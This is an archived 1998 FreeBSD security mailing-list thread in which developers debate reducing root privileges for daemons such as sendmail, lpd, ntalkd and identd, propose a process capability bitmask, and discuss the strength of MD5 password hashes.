<199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912 < Date: Mon, 16 Nov 1998 11:49:27 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19981116125909.A28486@internal> Andre Albsmeier writes: : That is exactly my opinion. I think a program should run with the : minimum privileges it really needs to and not more. I still think that it is a lot of effort for just one or two programs. xlock and xlockmore (basically the same program) are the only two programs that I'm aware of that need to access the password file and not change the uid of the process. Where are the rest of the half dozen :-)... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:55:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA17008 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:55:21 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from smtp02.wxs.nl (smtp02.wxs.nl [195.121.6.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA16986 for ; Mon, 16 Nov 1998 10:55:14 -0800 (PST) (envelope-from asmodai@wxs.nl) Received: from chronias.ninth-circle.org ([195.121.58.8]) by smtp02.wxs.nl (Netscape Messaging Server 3.6) with ESMTP id AAA57A7; Mon, 16 Nov 1998 19:54:48 +0100 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199811152309.PAA17526@burka.rdy.com> Date: Mon, 16 Nov 1998 19:59:13 +0100 (CET) Organization: Ninth Circle Enterprises From: Jeroen Ruigrok/Asmodai To: security@FreeBSD.ORG Subject: Re: "Todd C. Miller": sendmail changes in OpenBSD 2.4 Cc: (Jordan K. Hubbard) , (Dima Ruban) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 15-Nov-98 Dima Ruban wrote: > Jordan K. Hubbard writes: >> Hmmm. This sounds like a rather large user hit to take, but one less >> suid root executable (and an end to the other problems described >> below) also has strong appeal. Comments? > > We were using the same on FreeBSD here at BEST and didn't have any single > problem with it. Would we need to define OSTYPE as FreeBSD then, just like OpenBSD changes to OpenBSD instead of bsd4.4? As far as I am concerned, every exploit we can avoid if worthwhile in the long run IMHO. And Best already used it ;) --- Jeroen Ruigrok van der Werven/Asmodai asmodai(at)wxs.nl | Cum angelis et pueris, Junior Network/Security Specialist | fideles inveniamur *BSD & picoBSD: The Power to Serve... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 10:57:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA17512 for freebsd-security-outgoing; Mon, 16 Nov 1998 10:57:03 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA17484 for ; Mon, 16 Nov 1998 10:56:51 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id KAA21617; Mon, 16 Nov 1998 10:56:24 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 10:56:24 -0800 (PST) From: Matthew Dillon Message-Id: <199811161856.KAA21617@apollo.backplane.com> To: Marc Slemko Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :It is easy to say that things don't have to run as root, but for many of :them that just isn't true without losing functionality. : :If sendmail doesn't run as root, you can't deliver user mail to programs. What, that's it ? That's the only thing holding back being able to move sendmail out of root? :If lpd doesn't run as root, it can't read non-world-readable files printed :with -s. : :etc. Every few months we go through this. Sure, some programs can be :fixed. But it isn't as easy as magically saying "I don't think this :program should need root". Nobody is saying that a program magically doesn't need root, but you seem to be saying "Gee, there's this one option and I am not even going to consider fixing it so we can get rid of root permission on this program, instead I'm going to use the option as an excuse to not remove root perms from the this program". I'll tell you something, for a default configuration I would much rather remove the -s option (have it print out '-s cannot be used when lpd is running in secure mode') then allow lpd to run as root. I remember using -s 15 years ago. I stopped having to use it around 7 years. I really doubt all that many people need it any more especially with all the file conversion that has to be done in most of today's printer configs. There shouldn't even be a discussion here. It should simply be fixed. -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:01:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA18759 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:01:59 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA18731 for ; Mon, 16 Nov 1998 11:01:50 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id LAA21634; Mon, 16 Nov 1998 11:01:23 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 11:01:23 -0800 (PST) From: Matthew Dillon Message-Id: <199811161901.LAA21634@apollo.backplane.com> To: Warner Losh Cc: Andre Albsmeier , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811161055.CAA18393@apollo.backplane.com> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912@harmony.village.org> <199811161835.LAA04984@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :In message <199811161055.CAA18393@apollo.backplane.com> Matthew Dillon writes: :: There are only a limited number of programs that run as root or are :: suid root. Being able to plug even half a dozen of them by removing :: their root privilages would be a major win. : :Yes. However, this would close only one or two. Those being those :programs that do authorization based on user name, but do NOT change :the uid of the user. I think we can trivially close at least 4 or 5 root-run programs simply by changing defaults and getting rid of an option or two, and we can close another 4 or 5 by adding a capability resource of some sort to the process model. Even a simple bitmask would work. :: I can find no good reason why, for example, ntalkd must be run as root. :: It does a stupid getuid() test in main() that should be ripped out... :: it really only needs tty group access to work. : :I'd agree with that. : :: identd sure doesn't need root. kmem group access is plenty sufficient. : :That is correct as well. : :: Both of these are turned on by default in inetd.conf, neither of these :: requires root. All it would take to fix them would be to add two dummy :: users to master.passwd 'tty' and 'kmem' (with bin group privs), to fix :: talkd.c to remove the silly getuid() test, and to fix inetd.conf (run :: ntalkd as tty:tty and identd as kmem:kmem). : :yikes!!! I think that might be worth considering. :: I wonder how many other programs can be trivially fixed like that. :: Certainly sendmail does not need to be run as root, yet it is in :: /usr/src/etc/rc. lpd ? Why in gods name does lpd need to be run :: as root? : :sendmail needs to run as root to deliver mail and to bind to port 25. :There may be some ways around this, but to date I've seen none that :don't open huge holes elsewhere. lpd needs to run as root to access :the files that it is printing, and to bind to its listening port. I'm :not sure a good way around that... : :Warner We've already discussed the obvious solution: Have a low-port listen capability. Verses giving a program root, that is relatively innocuous. Frankly, the security of low-port numbers was lost the moment people began running desktop UNIX boxes at home. All that really matters now is that if you are running a multi-user machine, you would rather not give your users low port numbers to play with... but if they broke into that capability, it still wouldn't be the end of the world. As far as lpd -s goes, just disable the option for the default 'secure' configuration for lpd (i.e. when lpd is not run as root, which should be the *default*). Very few people actually use the option anyway, at least nowadays (judging from my own migration away from having to use the option years ago). -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:17:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA22642 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:17:18 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA22622 for ; Mon, 16 Nov 1998 11:17:14 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.1/8.8.5) with ESMTP id UAA23905; Mon, 16 Nov 1998 20:14:52 +0100 (CET) To: Fernando Schapachnik cc: tcrimi+@andrew.cmu.edu (Thomas Valentino Crimi), tlambert@primenet.com, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-reply-to: Your message of "Mon, 16 Nov 1998 15:11:16 -0300." <199811161811.PAA01939@ns1.sminter.com.ar> Date: Mon, 16 Nov 1998 20:14:52 +0100 Message-ID: <23903.911243692@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199811161811.PAA01939@ns1.sminter.com.ar>, Fernando Schapachnik writes: >En un mensaje anterior, Thomas Valentino Crimi escribió: >[...] >> And then we have md5 passwords, arguably broken, now, but orders of >> magnitudes better than DES. > >Broken? I'm using them with no problem. What do you mean? He means that he hasn't understood the first law of cryptography: "No cipher is unbreakable, it's all a question about time & effort" Given sufficient resources you can brute-force any encryption or scrambling. MD5 scambled passwords are not even close to being broken, for any value of broken worth talking about. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:24:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA24203 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:24:56 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA24191 for ; Mon, 16 Nov 1998 11:24:53 -0800 (PST) (envelope-from sthaug@nethelp.no) From: sthaug@nethelp.no Received: (qmail 7112 invoked by uid 1001); 16 Nov 1998 19:24:24 +0000 (GMT) To: marcs@znep.com Cc: dillon@apollo.backplane.com, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: Your message of "Mon, 16 Nov 1998 09:49:04 -0800 (PST)" References: X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Mon, 16 Nov 1998 20:24:24 +0100 Message-ID: <7110.911244264@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > It is easy to say that things don't have to run as root, but for many of > them that just isn't true without losing functionality. > > If sendmail doesn't run as root, you can't deliver user mail to programs. However, there are plenty of users who would still find sendmail useful. (Me, I'm running qmail. But that's another discussion.) Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:28:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA25020 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:28:28 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alive.znep.com (207-178-54-226.go2net.com [207.178.54.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA25015 for ; Mon, 16 Nov 1998 11:28:25 -0800 (PST) (envelope-from marcs@znep.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.1/8.9.1) with ESMTP id LAA08321; Mon, 16 Nov 1998 11:24:24 -0800 (PST) (envelope-from marcs@znep.com) Date: Mon, 16 Nov 1998 11:24:24 -0800 (PST) From: Marc Slemko To: Matthew Dillon cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811161856.KAA21617@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16 Nov 1998, Matthew Dillon wrote: > : > :It is easy to say that things don't have to run as root, but for many of > :them that just isn't true without losing functionality. > : > :If sendmail doesn't run as root, you can't deliver user mail to programs. > > What, that's it ? That's the only thing holding back being able to > move sendmail out of root? No, there are some other reasons as well. Please read the archives. This stuff has been gone through over and over, and the reasons why various things are as they are have been gone over and over. Lots of people have said "oh, that is silly, I don't need that". No one has done anything. [...] > There shouldn't even be a discussion here. It should simply be fixed. I would be VERY upset if you just magically "fixed" the default sendmail setup on FreeBSD, without any discussion, so that all my mail suddenly started bouncing because sendmail couldn't run procmail to filter my mail. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:32:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA25959 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:32:09 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from weathership.homeport.org (weathership.homeport.org [207.31.235.99]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA25876 for ; Mon, 16 Nov 1998 11:32:03 -0800 (PST) (envelope-from adam@weathership.homeport.org) Received: (from adam@localhost) by weathership.homeport.org (8.8.8/8.8.5) id OAA11731; Mon, 16 Nov 1998 14:45:57 -0500 (EST) Message-ID: <19981116144556.A11685@weathership.homeport.org> Date: Mon, 16 Nov 1998 14:45:56 -0500 From: Adam Shostack To: Robert Watson , Thomas Valentino Crimi Cc: Terry Lambert , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <0qI4qUS00YUq09JbU0@andrew.cmu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93i In-Reply-To: ; from Robert Watson on Mon, Nov 16, 1998 at 12:46:24PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org My understanding of Dobbertin's attack is that he generates both halves of a collision pair, not finds an arbitrary match to a pre-existing value. If he has the latter, that may or may not transform into an attack on the password system. You'll need to find a printable (<9 character?) value that collides if you want to attack the password system via this route. Adam On Mon, Nov 16, 1998 at 12:46:24PM -0500, Robert Watson wrote: | On Mon, 16 Nov 1998, Thomas Valentino Crimi wrote: | > And then we have md5 passwords, arguably broken, now, but orders of | > magnitudes better than DES. | | I don't think I would consider md5 broken exactly. Just subject to | intermittent collisions. Is there a deterministic (and fast) way to | detect whether one is employing a hash subject to the described collision | attack? If so, perhaps we can add a piece of code that attempts a number | of values of salt, resulting in a more friendly hash. | | I prefer one-time passwords for security applications; on the other hand I | eagerly await a nice (scalable) PK authentication system used with | hardware keys. -- "It is seldom that liberty of any kind is lost all at once." -Hume To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:41:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA27893 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:41:31 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA27884 for ; Mon, 16 Nov 1998 11:41:28 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id LAA21747; Mon, 16 Nov 1998 11:41:04 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 11:41:04 -0800 (PST) From: Matthew Dillon Message-Id: <199811161941.LAA21747@apollo.backplane.com> To: Warner Losh , Andre Albsmeier , Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116081640.A2304@internal> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <19981116072937.E969@int <199811161842.LAA05020@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok, here is a proposal: (1) Add a 'kmem' and 'tty' dummy user to /usr/src/etc/master.passwd. Unfortunately, the operator uid is already using 2 (why it didn't use 5 I'll never know), so give the kmem user uid 5 and the tty user uid 4 (same as their groups except for the operator<>kmem flip). Is there an ANSI or POSIX standard here that we have to use instead of just guessing? (2) Change identd and ntalkd entries in inetd.conf to run ntalkd tty:tty and identd kmem:kmem. (3) Add an lp user and an lp group (what uid/gid ?). Adjust lpr source to disallow -s if lpd is running secure. Adjust lpd to chown itself to user/group lpd on startup after binding its socket. Some additional work may be required to make sure all the various lpd/lpc/other interactions still work properly. Adjust mtree and MAKEDEV as appropriate to give printer spool and printer devices appropriate user/group perms (4) Add a simple inherited capability resource, operating as a bitmask, using two resources. Don't try to do anything fancy. RLIMIT_MYCAP my capabilities (bitmask: current, allowed) RLIMIT_INHCAP capabilities inheritable by subprocesses (bitmask: current, allowed) (subprocess inherits MYCAP = INHCAP & MYCAP for both rlim_cur and rlim_max, and inherits INHCAP directly). So, for example, you could give a program the ability to turn on certain capabilities but prevent the program from being able to pass some or all of those capabilities to a subprocess (fork or exec). You can give a program permission to use certain capabilities by setting rlim_max but require it to turn them on itself by setting rlim_cur. rlim_cur/rlim_max would operate as a bitmask rather then a value/maximum. Only root would be allowed to arbitrarily modify capabilities, the idea being that root is more secure as other programs stop being run as it. So, for example, you could still start named, sendmail, lpd, and so forth as root, but they would immediately set their capabilities and become someone else. Any call to setuid() clears all capabilities and removes permission to set them again. We define several capabilities right off the bat: RCAPF_LOWPORT allow binding to low ports RCAPF_GIVEAWAY allow chowning a file to another user (any uid in the kern.cap.uidlow through kern.cap.uidhigh range). ala SysV RCAPF_SETTIME allow the process to set and/or adjust the time (so xntpd does not have to run as root). (5) Use RCAPF_SETTIME to fix xntpd Use TCAPF_LOWPORT to fix xntpd, lpd, bind, sendmail, and possibly others. sendmail might still have to be run by root by default for program pipes, but that's a different problem that I presume Eric Allman will work on at some point (such functionality should really be moved into mail.local, IMHO, I'll email Eric and see what he has to say about it). (6) ... and so on. -Matt :Warner : Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:42:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA28019 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:42:30 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns.mt.sri.com (sri-gw.MT.net [206.127.105.141]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA27997 for ; Mon, 16 Nov 1998 11:42:18 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id MAA13971; Mon, 16 Nov 1998 12:40:14 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id MAA19331; Mon, 16 Nov 1998 12:40:12 -0700 Date: Mon, 16 Nov 1998 12:40:12 -0700 Message-Id: <199811161940.MAA19331@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Warner Losh Cc: Andre Albsmeier , Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811161849.LAA05146@harmony.village.org> References: <19981116125909.A28486@internal> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912 < Your message of "Mon, 16 Nov 1998 12:59:09 +0100." <19981116125909.A28486@internal> <199811161849.LAA05146@harmony.village.org> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > : That is exactly my opinion. I think a program should run with the > : minimum privileges it really needs to and not more. > > I still think that it is a lot of effort for just one or two > programs. xlock and xlockmore (basically the same program) are the > only two programs that I'm aware of that need to access the password > file and not change the uid of the process. Where are the rest of the > half dozen :-)... The other issue is since they will no longer be setuid(), someone can crash them and get the passwd file from them to crack later or we'd have to change all of the 'don't dump core' code to look for setgid(passwd) stuff. All of a sudden this 'simple fix' gets to be obnoxious and isn't buying us a whole lot. Setuid is *NOT* evil in all cases, you simply must be careful. The fact of the matter is *some* programs must have root priviledges to do their job securely and/or at all. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 11:54:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA00186 for freebsd-security-outgoing; Mon, 16 Nov 1998 11:54:03 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA00127 for ; Mon, 16 Nov 1998 11:54:00 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id LAA21773; Mon, 16 Nov 1998 11:53:35 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 11:53:35 -0800 (PST) From: Matthew Dillon Message-Id: <199811161953.LAA21773@apollo.backplane.com> To: Marc Slemko Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> move sendmail out of root? : :No, there are some other reasons as well. Please read the archives. :This stuff has been gone through over and over, and the reasons why :various things are as they are have been gone over and over. Lots of :people have said "oh, that is silly, I don't need that". No one has done :anything. Well, I'm doing something now, eh? It sounds to me that people have discussed this to death quibbling over minor issues for many of these programs. Obviously nobody has taken the issue seriously since ntalkd and identd are still root-run and it took me less then a minute to fix them. Even lpd could probably be fixed almost trivially without having to mess with adding kernel features, and lpd alone has had at least three known root exploits in the last 10 years. I don't understand why after all that time it is STILL being run as root. :[...] :> There shouldn't even be a discussion here. It should simply be fixed. : :I would be VERY upset if you just magically "fixed" the default sendmail :setup on FreeBSD, without any discussion, so that all my mail suddenly :started bouncing because sendmail couldn't run procmail to filter my mail. I was talking about lpd here, not sendmail. Sendmail has its own unique set of problems that probably only Eric Allman can fix. -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 12:05:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA01649 for freebsd-security-outgoing; Mon, 16 Nov 1998 12:05:13 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx1.dmz.fedex.com (mx1.dmz.fedex.com [199.81.194.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA01643 for ; Mon, 16 Nov 1998 12:05:07 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx2.zmd.fedex.com (sendmail@mx2.zmd.fedex.com [199.82.159.11]) by mx1.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id OAA18212 for ; Mon, 16 Nov 1998 14:04:40 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx2.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id OAA24242 for ; Mon, 16 Nov 1998 14:04:39 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id OAA18023; Mon, 16 Nov 1998 14:04:37 -0600 (CST) Message-Id: <199811162004.OAA18023@s07.sa.fedex.com> To: Warner Losh cc: Matthew Dillon , Andre Albsmeier , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Date: Mon, 16 Nov 1998 14:04:05 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Warner Losh wrote: >sendmail needs to run as root to deliver mail and to bind to port 25. >lpd needs to run as root to access the files that it is printing, >and to bind to its listening port. inetd can start processes like sendmail (or lpd) as unprivileged users already bound to their ports. If the service is started with 'wait' configured, then the daemon is launched as a unprivileged user which has complete control of the socket for accepting new connections. I've seen this used successfully for mail relaying (sendmail started as "unprivileged" user smtp out of inetd). The smtp user can write the mail queue, and can invoke the setuid mail.local (which is set to root.mail 4750, so regular users can't play with it). Works like a charm. -- William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 12:25:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA04622 for freebsd-security-outgoing; Mon, 16 Nov 1998 12:25:44 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx1.dmz.fedex.com (mx1.dmz.fedex.com [199.81.194.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA04614 for ; Mon, 16 Nov 1998 12:25:37 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx1.zmd.fedex.com (sendmail@mx1.zmd.fedex.com [199.82.159.10]) by mx1.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id OAA20442 for ; Mon, 16 Nov 1998 14:25:10 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx1.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id OAA11964 for ; Mon, 16 Nov 1998 14:25:10 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id OAA23589; Mon, 16 Nov 1998 14:25:08 -0600 (CST) Message-Id: <199811162025.OAA23589@s07.sa.fedex.com> To: Nate Williams cc: Warner Losh , Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Date: Mon, 16 Nov 1998 14:24:36 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: >> I still think that it is a lot of effort for just one or two >> programs. xlock and xlockmore (basically the same program) are the >> only two programs that I'm aware of that need to access the password >> file and not change the uid of the process. Where are the rest of the >> half dozen :-)... screen is one... (although screen has lots of other features which like to be setuid as well). Again, a lot of the needs for setuid root access for top can be caught with group permissions and ptyd (previously mentioned relating to xterm). >The other issue is since they will no longer be setuid(), someone can >crash them and get the passwd file from them to crack later or we'd have >to change all of the 'don't dump core' code to look for setgid(passwd) >stuff. All of a sudden this 'simple fix' gets to be obnoxious and isn't >buying us a whole lot. The program will still be setgid, so the check in the core dump routine (/usr/src/sys/kern/kern_sig.c) which looks at processes' option flags for P_SUGID would still result in the same behavior as it had when it was setuid. If it didn't, this would be a security bug in the core dump routine, as all setgid programs (ala top) would suffer from the same problem as you described. >Setuid is *NOT* evil in all cases, you simply must be careful. Not in all cases. But in cases where setgid access and appropriate group permissions suffice, I would prefer to give out limited privilege than the universal privilege a setuid root program gets. >The fact >of the matter is *some* programs must have root priviledges to do their >job securely and/or at all. Some do. A lot don't. I'm an advocate of not giving root privs out unless it is absolutely necessary. -- William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 13:03:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09781 for freebsd-security-outgoing; Mon, 16 Nov 1998 13:03:56 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from po9.andrew.cmu.edu (PO9.ANDREW.CMU.EDU [128.2.10.109]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA09762 for ; Mon, 16 Nov 1998 13:03:53 -0800 (PST) (envelope-from tcrimi+@andrew.cmu.edu) Received: (from postman@localhost) by po9.andrew.cmu.edu (8.8.5/8.8.2) id QAA19818; Mon, 16 Nov 1998 16:03:17 -0500 (EST) Received: via switchmail; Mon, 16 Nov 1998 16:03:17 -0500 (EST) Received: from unix3.andrew.cmu.edu via qmail ID ; Mon, 16 Nov 1998 16:03:04 -0500 (EST) Received: from unix3.andrew.cmu.edu via qmail ID ; Mon, 16 Nov 1998 16:03:02 -0500 (EST) Received: from 